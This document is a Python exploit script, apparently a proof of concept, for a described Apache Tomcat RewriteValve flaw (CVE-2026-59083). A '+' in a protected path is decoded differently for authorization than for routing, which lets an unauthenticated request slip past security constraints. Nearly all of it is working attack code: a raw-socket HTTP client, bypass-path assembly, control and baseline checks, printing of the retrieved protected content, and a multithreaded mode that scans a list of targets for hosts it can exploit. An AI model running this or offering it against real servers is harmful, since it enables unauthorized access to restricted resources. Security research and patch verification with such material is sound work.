Apache Tomcat 11.0.23 RewriteValve Authentication Bypass

#!/usr/bin/env python3
    """
    CVE-2026-59083 - Apache Tomcat RewriteValve URL-decoding security constraint bypass
    Affected: Apache Tomcat 8.5.0-8.5.100, 9.0.0.M1-9.0.119, 10.1.0-M1-10.1.56, 11.0.0-M1-11.0.23
    Fixed in: 9.0.120, 10.1.57, 11.0.24 (8.5.x is end of life, no fix)
    Type: Auth bypass (security constraint bypass, CWE-177)
    
    RewriteValve rebuilds the decoded request URI with java.net.URLDecoder, which
    implements application/x-www-form-urlencoded semantics and therefore turns a
    literal '+' into a space. The un-decoded requestURI keeps the '+'. Authorization
    (RealmBase.findSecurityConstraints) matches against the decoded view, so a
    <security-constraint> whose <url-pattern> contains a '+' stops matching, while
    the Mapper still routes the request to the servlet. One unauthenticated GET
    through the rewrite prefix reaches a resource that returns 403 when requested
    directly.
    
    Preconditions on the target (all deployer-side, none are Tomcat defaults):
      - RewriteValve enabled with at least one internal (non [R]/[F]/[G]) rewrite rule
      - a protected path containing a literal '+' that the rewrite rule can produce
    
    Usage:
      python exploit.py --host <target> --port <port>
      python exploit.py --host 192.168.1.10 --port 8080
      python exploit.py --host https://192.168.1.10:8443
      python exploit.py --host https://tomcat.corp.com \
                        --path "/app/team+east/secret" --rewrite-prefix /s --rewrite-target /app
      python exploit.py --list targets.txt --workers 20
    
    Arguments beyond --host/--port are target specific because the bypass depends on
    the deployment's own rewrite rules and constraint layout:
      --path            the protected path, exactly as a client would request it
                        (must contain a literal '+'); returns 403 when asked directly
      --rewrite-prefix  the URL prefix the rewrite rule matches on (rule left side)
      --rewrite-target  the prefix the rule rewrites to (rule right side), stripped
                        from --path before the bypass URL is assembled
    There is no --username argument: the constraint carries an empty <auth-constraint>
    style deny, so nothing is being authenticated as anybody - the check is skipped
    outright rather than satisfied.
    
    Standard library only. Requests are built on a raw socket so the '+' in the path
    is transmitted verbatim; an HTTP client that rewrites '+' to %20 destroys the test.
    """
    
    import argparse
    import secrets
    import socket
    import ssl
    import sys
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-59083"
    VULN_TYPE = "Auth Bypass"
    
    DEFAULT_PATH = "/app/team+east/secret"
    DEFAULT_REWRITE_PREFIX = "/s"
    DEFAULT_REWRITE_TARGET = "/app"
    
    UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
    
    TIMEOUT = 10.0
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------- HTTP client
    
    def _host_header(host: str, port: int, use_tls: bool) -> str:
        """Host header value, bracketing literal IPv6 addresses."""
        h = f"[{host}]" if ":" in host else host
        default = 443 if use_tls else 80
        return h if port == default else f"{h}:{port}"
    
    
    def _dechunk(body: bytes) -> bytes:
        out = b""
        while True:
            nl = body.find(b"\r\n")
            if nl < 0:
                break
            try:
                size = int(body[:nl].split(b";", 1)[0].strip(), 16)
            except ValueError:
                return out or body
            if size == 0:
                break
            chunk = body[nl + 2:nl + 2 + size]
            out += chunk
            body = body[nl + 2 + size + 2:]
        return out
    
    
    def http_get(host: str, port: int, use_tls: bool, path: str, timeout: float = TIMEOUT):
        """Raw-socket GET. The path is placed in the request line byte for byte.
    
        Returns (status_code, headers_text, body_text).
        """
        req = (
            f"GET {path} HTTP/1.1\r\n"
            f"Host: {_host_header(host, port, use_tls)}\r\n"
            f"User-Agent: {UA}\r\n"
            "Accept: */*\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode("utf-8", "surrogateescape")
    
        sock = socket.create_connection((host, port), timeout=timeout)
        try:
            if use_tls:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                sock = ctx.wrap_socket(sock, server_hostname=host)
            sock.sendall(req)
            raw = b""
            while True:
                buf = sock.recv(65536)
                if not buf:
                    break
                raw += buf
                if len(raw) > 2 * 1024 * 1024:
                    break
        finally:
            try:
                sock.close()
            except OSError:
                pass
    
        split = raw.find(b"\r\n\r\n")
        if split < 0:
            return 0, raw.decode("utf-8", "replace"), ""
        head = raw[:split].decode("iso-8859-1")
        body = raw[split + 4:]
        if "transfer-encoding: chunked" in head.lower():
            body = _dechunk(body)
        try:
            status = int(head.split(" ", 2)[1])
        except (IndexError, ValueError):
            status = 0
        return status, head, body.decode("utf-8", "replace")
    
    
    # ------------------------------------------------------------ path assembly
    
    def bypass_path(protected: str, rewrite_prefix: str, rewrite_target: str) -> str:
        """Rewrite-prefixed URL that the valve will internally rewrite onto `protected`."""
        p = protected if protected.startswith("/") else "/" + protected
        prefix = rewrite_prefix.rstrip("/")
        target = rewrite_target.rstrip("/")
        if target and (p == target or p.startswith(target + "/")):
            tail = p[len(target):]
        else:
            tail = p
        return prefix + tail
    
    
    def control_path(path: str) -> str:
        """Same URL with the '+'-bearing segment swapped for a throwaway one.
    
        Proves the rewrite rule is live without touching the protected namespace.
        """
        segments = path.split("/")
        replaced = False
        for i, seg in enumerate(segments):
            if not replaced and "+" in seg:
                segments[i] = "probe" + secrets.token_hex(4)
                replaced = True
        return "/".join(segments)
    
    
    def encoded_variant(path: str) -> str:
        """Percent-encode the literal '+' characters in the path."""
        return path.replace("+", "%2B")
    
    
    def plus_segment(path: str) -> str:
        for seg in path.split("/"):
            if "+" in seg:
                return seg
        return ""
    
    
    def decode_divergence(body: str, protected: str) -> str:
        """If the handler echoes its own view of the path, report the mismatch.
    
        Optional corroboration only: most real applications echo nothing, and the
        status-code flip is what actually proves the bypass.
        """
        seg = plus_segment(protected)
        if not seg or not body:
            return ""
        spaced = seg.replace("+", " ")
        if seg in body and spaced in body:
            lines = [ln.strip() for ln in body.splitlines()
                     if seg in ln or spaced in ln]
            return " | ".join(lines[:4])
        return ""
    
    
    # ------------------------------------------------------------- scan plumbing
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = DEFAULT_PATH,
                     rewrite_prefix: str = DEFAULT_REWRITE_PREFIX,
                     rewrite_target: str = DEFAULT_REWRITE_TARGET):
        """Silent probe for --list scan mode. Returns (success, evidence)."""
        try:
            direct, _, _ = http_get(host, port, use_tls, path)
            if direct not in (401, 403):
                return False, f"resource not protected (direct GET {path} -> {direct})"
    
            bp = bypass_path(path, rewrite_prefix, rewrite_target)
            for candidate in (bp, encoded_variant(bp)):
                status, _, body = http_get(host, port, use_tls, candidate)
                if status == 200:
                    extra = decode_divergence(body, path)
                    note = f"; {extra}" if extra else ""
                    return True, f"{candidate} -> 200 while {path} -> {direct}{note}"
            return False, f"constraint held (bypass -> {status})"
        except Exception as exc:
            return False, f"unreachable ({exc.__class__.__name__})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ------------------------------------------------------------------ exploit
    
    def exploit(host: str, port: int, use_tls: bool, path: str,
                rewrite_prefix: str, rewrite_target: str) -> None:
        header(host, port)
    
        if "+" not in path:
            done(False, f"--path '{path}' contains no literal '+' - "
                        "this bug only bypasses constraints whose pattern has one")
    
        bp = bypass_path(path, rewrite_prefix, rewrite_target)
        cp = control_path(bp)
    
        step(1, f"Control - confirming the rewrite rule is live: GET {cp}")
        try:
            c_status, _, c_body = http_get(host, port, use_tls, cp)
        except Exception as exc:
            done(False, f"target unreachable: {exc.__class__.__name__}: {exc}")
        print(f"        -> HTTP {c_status}")
        if c_status == 404:
            print("        !! 404: the rewrite rule did not fire. Either the prefix is wrong "
                  "or RewriteValve is not configured. Continuing, but a negative result below "
                  "will be inconclusive rather than proof of a patch.")
        elif c_status in (401, 403):
            print("        !! the control path is itself protected - pick a --rewrite-prefix "
                  "whose namespace is not blanket-restricted.")
        else:
            section("CONTROL RESPONSE", c_body[:600])
    
        step(2, f"Baseline - the protected resource, requested directly: GET {path}")
        try:
            d_status, _, d_body = http_get(host, port, use_tls, path)
        except Exception as exc:
            done(False, f"target unreachable: {exc.__class__.__name__}: {exc}")
        print(f"        -> HTTP {d_status}")
        if d_status not in (401, 403):
            section("DIRECT RESPONSE", d_body[:600])
            done(False, f"resource is not access controlled (direct GET {path} returned "
                        f"{d_status}) - there is no constraint here to bypass")
        print("        -> access control confirmed: the resource is denied on the direct route")
    
        results = []
        for n, candidate in ((3, bp), (4, encoded_variant(bp))):
            label = "raw '+'" if n == 3 else "percent-encoded '%2B'"
            step(n, f"Bypass, {label}: GET {candidate}")
            try:
                b_status, _, b_body = http_get(host, port, use_tls, candidate)
            except Exception as exc:
                print(f"        -> request failed: {exc.__class__.__name__}: {exc}")
                results.append((candidate, 0, ""))
                continue
            print(f"        -> HTTP {b_status}")
            results.append((candidate, b_status, b_body))
            if b_status == 200:
                section(f"PROTECTED CONTENT ({candidate})", b_body[:1500])
    
        hits = [(c, s, b) for c, s, b in results if s == 200]
        if not hits:
            last = results[-1][2] if results else ""
            section("SERVER RESPONSE", (last or "<empty>")[:600])
            statuses = ", ".join(f"{c} -> {s}" for c, s, _ in results)
            done(False, f"constraint held on every rewrite route ({statuses}) - "
                        "target is patched (9.0.120 / 10.1.57 / 11.0.24 or later) "
                        "or the rewrite rule does not reach the protected path")
    
        cand, _, body = hits[0]
        divergence = decode_divergence(body, path)
        if divergence:
            section("DECODE DIVERGENCE (server describing its own bug)", divergence)
    
        evidence = (f"Security constraint bypassed - GET {cand} returned 200 with the "
                    f"protected body while GET {path} returns {d_status}")
        if divergence:
            evidence += f"; decoded path diverges: {divergence}"
        done(True, evidence)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                               "(e.g. https://host:8443)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=8080,
                            help="Default port (default: 8080)")
        parser.add_argument("--path", default=DEFAULT_PATH,
                            help=f"Protected path containing a literal '+' "
                                 f"(default: {DEFAULT_PATH})")
        parser.add_argument("--rewrite-prefix", default=DEFAULT_REWRITE_PREFIX,
                            help=f"URL prefix the rewrite rule matches "
                                 f"(default: {DEFAULT_REWRITE_PREFIX})")
        parser.add_argument("--rewrite-target", default=DEFAULT_REWRITE_TARGET,
                            help=f"Prefix the rewrite rule rewrites to "
                                 f"(default: {DEFAULT_REWRITE_TARGET})")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        opts = {
            "path": args.path,
            "rewrite_prefix": args.rewrite_prefix,
            "rewrite_target": args.rewrite_target,
        }
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, **opts)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, **opts)